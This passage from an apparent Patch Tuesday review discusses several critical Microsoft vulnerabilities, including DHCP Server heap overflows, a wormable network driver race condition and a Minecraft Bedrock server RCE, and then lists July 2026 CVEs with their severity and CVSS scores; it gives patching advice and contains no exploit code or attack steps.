There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-56155 Active Directory Federation Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-56164 Microsoft SharePoint Server Elevation of Privilege Vulnerability Moderate 5.3 No Yes EoP
CVE-2026-50661 Windows BitLocker Security Feature Bypass Vulnerability Important 6.1 Yes No SFB
CVE-2026-54121 Active Directory Certificate Services Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-45499 ** Azure OpenAI Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-48564 DHCP Server Service Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-50370 DHCP Server Service Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-56159 DHCP Server Service Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50382 DirectX Graphics Kernel Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-41106 ** Microsoft 365 Copilot Elevation of Privilege Vulnerability Critical 9.3 No No EoP
CVE-2026-26145 ** Microsoft Azure Synapse Elevation of Privilege Vulnerability Critical 4.8 No No EoP
CVE-2026-48561 Microsoft Copilot Remote Code Execution Vulnerability Critical 9.6 No No RCE
CVE-2026-55011 Microsoft Defender Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55012 Microsoft Defender Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55944 Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-57100 ** Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-55041 Microsoft Excel Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-54998 ** Microsoft Exchange Online Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-55008 Microsoft Exchange Server Spoofing Vulnerability Critical 9.6 No No Spoofing
CVE-2026-54992 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-50314 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50467 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55018 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55022 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55045 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-55049 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55129 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55056 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55140 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55043 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55123 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55120 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50522 Microsoft SharePoint Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-58644 Microsoft SharePoint Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-55040 Microsoft SharePoint Server Security Feature Bypass Vulnerability Critical 9.1 No No SFB
CVE-2026-54117 Microsoft SQL Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-54118 Microsoft SQL Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-50655 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-56189 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-57090 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57094 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57087 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57092 Microsoft Windows VMSwitch Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-55033 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55127 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55132 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55010 Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50474 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-49164 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-54128 Windows DHCP Client Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-50518 Windows DHCP Server Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-49796 Windows GDI+ Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50380 Windows GDI+ Remote Code Execution Vulnerability Critical 9.6 No No RCE
CVE-2026-54127 Windows Hyper-V Elevation of Privilege Vulnerability Critical 7.4 No No EoP
CVE-2026-50680 Windows Hyper-V Elevation of Privilege Vulnerability Critical 8.2 No No EoP
CVE-2026-50327 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-58542 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-58608 Windows Print Spooler Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-54982 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-54995 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-42982 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Critical 7.8 No No EoP
CVE-2026-50392 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Critical 7 No No EoP
CVE-2026-50694 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-56188 Windows Server Network driver Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50444 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-54999 Windows TCP/IP Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-47302 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50525 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50651 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57108 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50524 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50527 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50648 .NET Framework Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50650 .NET Framework Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50646 .NET Framework Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50649 .NET Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-47304 .NET Security Feature Bypass Vulnerability Important 8.1 No No SFB
CVE-2026-50528 .NET Security Feature Bypass Vulnerability Important 8.2 No No SFB
CVE-2026-50659 .NET Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-50526 .NET Tampering Vulnerability Important 7 No No Tampering
CVE-2026-50682 Active Directory Denial of Service Vulnerability Important 7.1 No No DoS
CVE-2026-55001 Active Directory Domain Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50647 Active Directory Federation Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50684 Active Directory Federation Server Spoofing Vulnerability Important 4.8 No No Spoofing
CVE-2026-56170 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-47300 ASP.NET Core Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-47303 ASP.NET Core Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50652 Azure Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50653 Azure Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57969 Azure CycleCloud Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58279 Azure CycleCloud Elevation of Privilege Vulnerability Important 6.5 No No EoP
CVE-2026-47632 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50338 Azure Spring Apps Elevation of Privilege Vulnerability Important 8.2 No No EoP
CVE-2026-50488 Clipboard User Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50491 Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50381 Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50427 Content Delivery Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50692 Desktop Window Manager Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58633 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58634 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50296 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50375 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-50353 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50493 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56643 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56644 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58629 DirectX Graphics Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49174 DNS Client Tampering Vulnerability Important 6.1 No No Tampering
CVE-2026-50495 DNS Client Tampering Vulnerability Important 6.1 No No Tampering
CVE-2026-57088 Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50663 Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-47282 GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-50510 GitHub Copilot Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49787 HTTP.sys Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50420 HTTP.sys Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-49788 HTTP/2 Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50696 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-58617 M365 Copilot for iOS Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-58595 Microsoft Bing App for IOS Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-49162 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50305 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50361 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50466 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50458 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50658 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-56178 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-50657 Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability Important 4.7 No No Info
CVE-2026-50329 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58541 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58596 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability Important 8.3 No No EoP
CVE-2026-57991 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Important 7.4 No No Info
CVE-2026-58291 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-57981 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57984 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57985 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.6 No No RCE
CVE-2026-57986 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57988 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.1 No No RCE
CVE-2026-57992 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58276 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-56645 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57974 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-57975 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58281 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58284 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58285 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58287 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58288 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58289 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 9 No No RCE
CVE-2026-58290 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58292 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58293 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-58294 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57983 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.7 No No SFB
CVE-2026-58295 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.3 No No SFB
CVE-2026-58525 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.2 No No SFB
CVE-2026-57987 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-58278 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-56646 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-57977 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-57993 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.4 No No Spoofing
CVE-2026-58282 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58283 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58286 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58298 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.2 No No Spoofing
CVE-2026-58524 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-58296 Microsoft Edge for Android Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-58297 Microsoft Edge for Android Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-58300 Microsoft Edge for Android Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-58522 Microsoft Edge for Android Information Disclosure Vulnerability Important 6.8 No No Info
CVE-2026-58299 Microsoft Edge for Android Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58523 Microsoft Edge for Android Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-50678 Microsoft Excel Information Disclosure Vulnerability Important 6.6 No No Info
CVE-2026-54988 Microsoft Excel Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-48580 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50408 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55046 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55138 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55054 Microsoft Excel Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-55122 Microsoft Excel Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-55898 Microsoft Excel Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-50675 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55899 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55948 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58618 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-47642 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55024 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55025 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55031 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55048 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55029 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55039 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55136 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55141 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55036 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55044 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55037 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55058 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55137 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55053 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55131 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-54131 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55947 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55949 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-56156 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55006 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55009 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55005 Microsoft Exchange Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56642 Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-50343 Microsoft Install Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50439 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-58537 Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56193 Microsoft Office Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-55023 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55026 Microsoft Office Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-55027 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55028 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55047 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55035 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55057 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55121 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55042 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55139 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50665 Microsoft Office Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-56192 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56195 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-47290 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50301 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55017 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55125 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55133 Microsoft OneNote Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58636 Microsoft PC Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50438 Microsoft PC Manager Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58647 Microsoft PowerBI Report Server Spoofing Vulnerability Important 8 No No Spoofing
CVE-2026-55052 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58277 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-55051 Microsoft SharePoint Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54108 Microsoft SharePoint Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-55016 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55019 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55020 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55021 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55030 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55034 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55126 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55135 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-56157 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-47296 Microsoft SQL Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55002 Microsoft SQL Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-47295 Microsoft SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50468 Microsoft SQL Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54116 Microsoft SQL Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-42900 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-49784 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50356 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49165 Microsoft Windows App Store Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-54993 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58610 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55050 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55124 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55142 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55032 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55055 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55038 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55134 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55128 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55130 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50359 Microsoft XML Core Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-57097 Microsoft XML Security Feature Bypass Vulnerability Important 6.4 No No SFB
CVE-2026-50346 Netlogon RPC Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50402 NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50506 OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-45646 OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-54989 Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50365 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-54990 Remote Desktop Client Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-58594 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56190 Remote Desktop Protocol Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-49783 Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No SFB
CVE-2026-42990 SQL Server ODBC driver Elevation of Privilege Vulnerability Important 9.8 No No EoP
CVE-2026-49168 Storage Spaces Direct Elevation of Privilege Vulnerability Important 6.2 No No EoP
CVE-2026-48581 Surface Broker SDMA Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49180 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50455 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-54111 Universal Print Management Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58543 Universal Print Management Service Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-58601 Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability Important 7.8 No No EoP
CVE-2026-50520 Visual Studio Code Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-45496 Visual Studio Code Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-57101 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No SFB
CVE-2026-57102 Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-47305 Visual Studio Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49805 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50297 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50325 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50489 Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-57095 Win32k Elevation of Privilege Vulnerability Important 6.2 No No EoP
CVE-2026-50416 Win32k Information Disclosure Vulnerability Important 3.3 No No Info
CVE-2026-56184 Win32k Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50432 Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability Important 5.3 No No DoS
CVE-2026-54119 Windows Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57976 Windows Active Directory Domain Services Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50366 Windows Active Directory Domain Services Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-49178 Windows Active Directory Domain Services Remote Code Execution Vulnerability Important 8.8 No No RCE
